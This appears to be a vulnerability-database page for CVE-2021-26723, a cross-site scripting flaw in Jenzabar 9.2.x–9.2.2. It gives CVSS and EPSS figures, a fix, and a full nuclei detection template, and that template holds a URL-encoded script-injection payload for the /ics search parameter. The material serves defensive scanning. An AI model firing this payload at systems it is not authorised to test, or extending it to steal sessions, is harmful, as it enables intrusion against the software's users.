HexBrain

Browse / CVEs / CVE-2021-26723

CVE-2021-26723· jenzabar / jenzabar· CWE-79

Jenzabar 9.2x-9.2.2 - Cross-Site Scripting

mediumseverity
6.1CVSS score
12.6%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of Jenzabar 9.2x-9.2.2.

How to confirm it

Send: GET {{BaseURL}}/ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26723 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-26723

info:
  name: Jenzabar 9.2x-9.2.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Jenzabar 9.2x-9.2.2.
  reference:
    - http://packetstormsecurity.com/files/161303/Jenzabar-9.2.2-Cross-Site-Scripting.html
    - https://gist.github.com/Y0ung-DST/d1b6b65be6248b0ffc2b2f2120deb205
    - https://jenzabar.com/blog
    - https://y0ungdst.medium.com/xss-in-jenzabar-cve-2021-26723-a0749231328
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26723
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26723
    cwe-id: CWE-79
    epss-score: 0.12633
    epss-percentile: 0.96282
    cpe: cpe:2.3:a:jenzabar:jenzabar:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jenzabar
    product: jenzabar
  tags: cve2021,cve,packetstorm,jenzabar,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from